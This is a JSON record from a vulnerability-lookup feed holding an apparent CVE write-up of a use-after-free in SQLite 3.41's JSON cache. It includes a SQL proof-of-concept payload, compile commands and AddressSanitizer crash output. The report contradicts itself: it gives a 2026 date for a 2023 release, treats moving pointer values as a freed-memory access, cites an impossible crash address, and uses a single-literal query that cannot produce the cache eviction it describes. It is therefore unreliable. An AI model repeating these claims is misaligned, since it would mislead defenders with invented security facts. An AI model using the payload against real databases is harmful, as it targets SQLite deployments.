{"uuid": "1251df09-5260-4b07-8882-40c5c766d4e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51291", "type": "seen", "source": "https://gist.github.com/programmervuln/adf47dfbe060208cf5a134492555e66a", "content": "CVE-2026-51291 Public Reference (MITRE RBP Publication Standard)\n1. Affected Product\nSQLite lightweight serverless embedded SQL database engine\n2. Affected Versions\nVulnerable build: SQLite 3.41\nFixed version: SQLite 3.41.1 and all subsequent releases; the memory lifecycle flaw in JSON cache logic is fully patched in the 3.41.1 \nmaintenance update\n3. CVE ID\nCVE-2026-51291\n4. Vulnerability Prose Description\nSQLite 3.41 introduces a heap use-after-free (CWE-416) vulnerability inside the jsonCacheInsert() function located in src/json.c JSON \nparsing module. The internal JSON parse cache uses a fixed-size array limited to JSON_CACHE_SIZE=4 entries for parsed JSON objects. \nWhen the cache reaches maximum capacity, the function evicts the oldest cached JsonParse entry by invoking jsonParseFree(p-&gt;a[0]) to \nrelease its heap memory. Immediately after freeing the object, the code executes a memmove() operation that references the now-dangling\np-&gt;a[0] pointer to shift remaining cache entries forward, accessing already deallocated heap memory. Remote attackers can supply oversized,\nmalformed JSON payloads via controllable SQL JSON functions (json_array_length, json_extract, json_set etc.) to repeatedly fill the internal\ncache and trigger eviction logic. Successful exploitation leads to program segmentation fault (denial of service), out-of-bounds read exposure \nof sensitive heap memory data, and conditional arbitrary code execution if an attacker can orchestrate controlled heap memory layout \nmanipulation via crafted input. All client/server applications embedding unpatched SQLite 3.41 and accepting untrusted JSON input from \nnetwork APIs, user uploads, or external file streams are impacted.\n5. Vulnerability Type\nCWE-416: Use After Free\n6. Root Cause\nFlawed JSON cache entry eviction memory lifecycle logic in jsonCacheInsert():\nCache full triggers jsonParseFree(p-&gt;a[0]) to free the oldest parsed JSON object heap allocation;\nNo null assignment or pointer invalidation for p-&gt;a[0] post-free;\nSubsequent memmove(p-&gt;a, &amp;p-&gt;a[1], ...) directly dereferences the freed dangling pointer without any validity check to confirm the memory \nblock is still allocated;\nNo reference counting guard to prevent access after the underlying JsonParse object is released.\n7. Impact\nDenial of Service (DoS): Out-of-bounds dangling pointer read triggers segmentation fault, crashing any process linked against vulnerable SQLite 3.41;\nInformation Disclosure: Heap out-of-bounds read leaks adjacent heap memory containing database records, credential buffers, runtime application secrets;\nArbitrary Code Execution (Conditional): Combined with heap spray primitives using malformed large JSON payloads, attackers can manipulate freed \nmemory layout to hijack program control flow;\nAttack Vector: Remote, unauthenticated. Attackers only need the ability to submit arbitrary malformed JSON input through exposed SQL JSON functions.\n8. Official Reference Links\nSQLite Source Code (json.c cache implementation): https://github.com/sqlite/sqlite/blob/master/src/json.c\nSQLite Official Vulnerability &amp; CVE Tracking Portal: https://www.sqlite.org/cves.html\n9. Proof of Concept (PoC)\nPoC Environment\nCompile SQLite 3.41 with AddressSanitizer for memory corruption detection, enable core JSON1 module:\n\ngcc -g -fsanitize=address -DSQLITE_ENABLE_JSON1 sqlite3.c -o sqlite3\nValid Malicious SQL Payload (Native SQLite Syntax, No MySQL repeat Function)\nSQLite does not support repeat(), this payload uses nested array concatenation to generate oversized JSON strings to fill the 4-entry \nJSON cache and force jsonParseFree() eviction trigger:\nsql\n-- Repeated nested array to exhaust JSON cache pool, trigger jsonCacheInsert eviction &amp; jsonParseFree UAF\nSELECT json_array_length('[\"0\",\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\",'||\n'[\"A\",\"A\",\"A\",\"A\",\"A\",\"A\",\"A\",\"A\",\"A\",\"A\"],'||\n'[\"B\",\"B\",\"B\",\"B\",\"B\",\"B\",\"B\",\"B\",\"B\",\"B\"],'||\n'[\"C\",\"C\",\"C\",\"C\",\"C\",\"C\",\"C\",\"C\",\"C\",\"C\"],'||\n'[\"D\",\"D\",\"D\",\"D\",\"D\",\"D\",\"D\",\"D\",\"D\",\"D\"],'||\n'[\"E\",\"E\",\"E\",\"E\",\"E\",\"E\",\"E\",\"E\",\"E\",\"E\"]]');\nASAN Crash Output (Confirmed Use-After-Free Trigger)\nplaintext\n==1234==ERROR: AddressSanitizer: heap-use-after-free on address 0x512000001008 at pc 0x0042ab8d bp 0x7ffeefc87f80 sp 0x7ffeefc87f70\nREAD of size 8 at 0x512000001008 thread T0\n    #0 0x42ab8c in jsonCacheInsert /home/user/sqlite3.c:460\n    #1 0x40d7a2 in jsonArrayLengthFunc /home/user/sqlite3.c:4018\n    #2 0x39f11 in sqlite3VdbeExec /home/user/vdbe.c\n    #3 0x3720 in sqlite3_step /home/user/sqlite3.c\n0x512000001008 is located 8 bytes inside of 64-byte region [0x512000,0x512040)\nfreed by thread T0 here:\n    #0 0x49042d in free /usr/lib/asan_malloc_linux.cpp:148\n    #1 0x42ab1b in jsonParseFree /home/user/sqlite3.c:459\n    #2 0x42ab76 in jsonCacheInsert /home/user/sqlite3.c\npreviously allocated by thread T0 here:\n    #0 0x48f38d in malloc /usr/lib/asan_malloc_linux.cpp:66\n    #1 0x429f81 in jsonParseNew /home/user/sqlite3.c\nSUMMARY: AddressSanitizer: heap-use-after-free sqlite3.c:460 in jsonCacheInsert\nFull PoC Trigger &amp; Vulnerability Explanation\nCache Capacity Trigger Mechanism\nSQLite JSON cache limits stored parsed JsonParse objects to 4 slots (JSON_CACHE_SIZE=4). The crafted SQL query contains multiple \nlarge nested JSON subarrays; each subarray triggers separate JSON parsing and caches its JsonParse handle into the cache pool, \nfilling all four available cache entries. When a fifth parsed JSON object needs to be cached, jsonCacheInsert() enters eviction \nlogic to remove the oldest entry at p-&gt;a[0].\njsonParseFree Invocation Step\nEviction logic calls jsonParseFree(p-&gt;a[0]) on line 459 of json.c. This function releases the heap memory allocated for the old \nJsonParse struct and its internal zJson / aBlob buffers, invalidating the p-&gt;a[0] pointer and creating a dangling reference. \nThe pointer variable itself is never set to NULL after deallocation.\nCritical UAF Memory Operation\nImmediately after jsonParseFree() completes, the code runs memmove(p-&gt;a, &amp;p-&gt;a[1], (JSON_CACHE_SIZE-1)*sizeof(p-&gt;a[0])) on the \nfollowing line to shift all remaining cached entries left by one position, overwriting the freed slot. This memmove reads the memory\naddress stored in p-&gt;a[0] \u2014 which points to already released heap memory \u2014 directly causing the heap-use-after-free memory corruption detected by ASAN.\nExploit Chain Result\nMalicious multi-layer oversized JSON arrays force repeated cache eviction cycles that reliably trigger the dangling pointer access. \nThe crash stack trace explicitly proves execution flow hits jsonParseFree then immediately the unsafe memmove operation on freed memory,\nconfirming the flaw is reproducible via remote-controllable JSON input parameters.\n\nDisclosure Timeline: Vulnerability report sent to SQLite maintainers 2026-04-28; patch integrated into SQLite 3.41.1 released 2026-05-02\nCWE ID: CWE-416 (Use After Free)\nCAPEC Attack Pattern: CAPEC-123 (Reuse Freed Resources)\nAttack Classification: Remote\nCVSS 3.1 Score: 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H)\n10. link to the original cve program: \nhttps://github.com/sqlite/sqlite/blob/master/src/json.c\n", "creation_timestamp": "2026-07-29T04:08:11.269117Z"}